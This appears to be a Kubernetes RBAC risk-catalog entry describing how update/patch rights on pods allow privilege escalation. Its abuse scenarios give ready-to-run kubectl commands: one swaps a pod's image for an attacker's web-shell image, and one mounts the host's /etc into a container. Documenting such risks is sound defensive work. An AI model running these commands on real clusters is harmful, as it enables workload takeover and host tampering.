Overview

FieldValue
ID1009
NameUpdate/Patch pods in a namespace
Risk CategoryElevation of Privilege
Risk LevelHigh
Role TypeRole
API Groupscore
Resourcespods
Verbsupdate, patch
TagsPotentialPrivilegeEscalation Tampering WorkloadExecution

Description

Allows modifying existing pods within a specific namespace. This can be used to escalate privileges by changing a pod’s configuration to run with higher permissions, execute arbitrary code, or tamper with application behavior within that namespace.

Abuse Scenarios

  1. Patch a running pod in the namespace to change its container image.
kubectl set image pod/<pod-name> <container-name>=<malicious-image> -n <namespace>
# Example: kubectl set image pod/my-web-app web=attacker/web-shell -n dev
  1. Patch a running pod to add a hostPath volume mount (if not blocked by PSP/PSA).
kubectl patch pod <pod-name> -n <namespace> --type='json' -p='[{"op": "add", "path": "/spec/volumes/-", "value": {"name": "host-path-vol", "hostPath": {"path": "/etc"}}}, {"op": "add", "path": "/spec/containers/0/volumeMounts/-", "value": {"name": "host-path-vol", "mountPath": "/mnt/host-etc"}}]'
# Example: kubectl patch pod my-app -n default --type='json' -p='[{"op": "add", "path": "/spec/volumes/-", "value": {"name": "host-path-vol", "hostPath": {"path": "/etc"}}}, {"op": "add", "path": "/spec/containers/0/volumeMounts/-", "value": {"name": "host-path-vol", "mountPath": "/mnt/host-etc"}}]'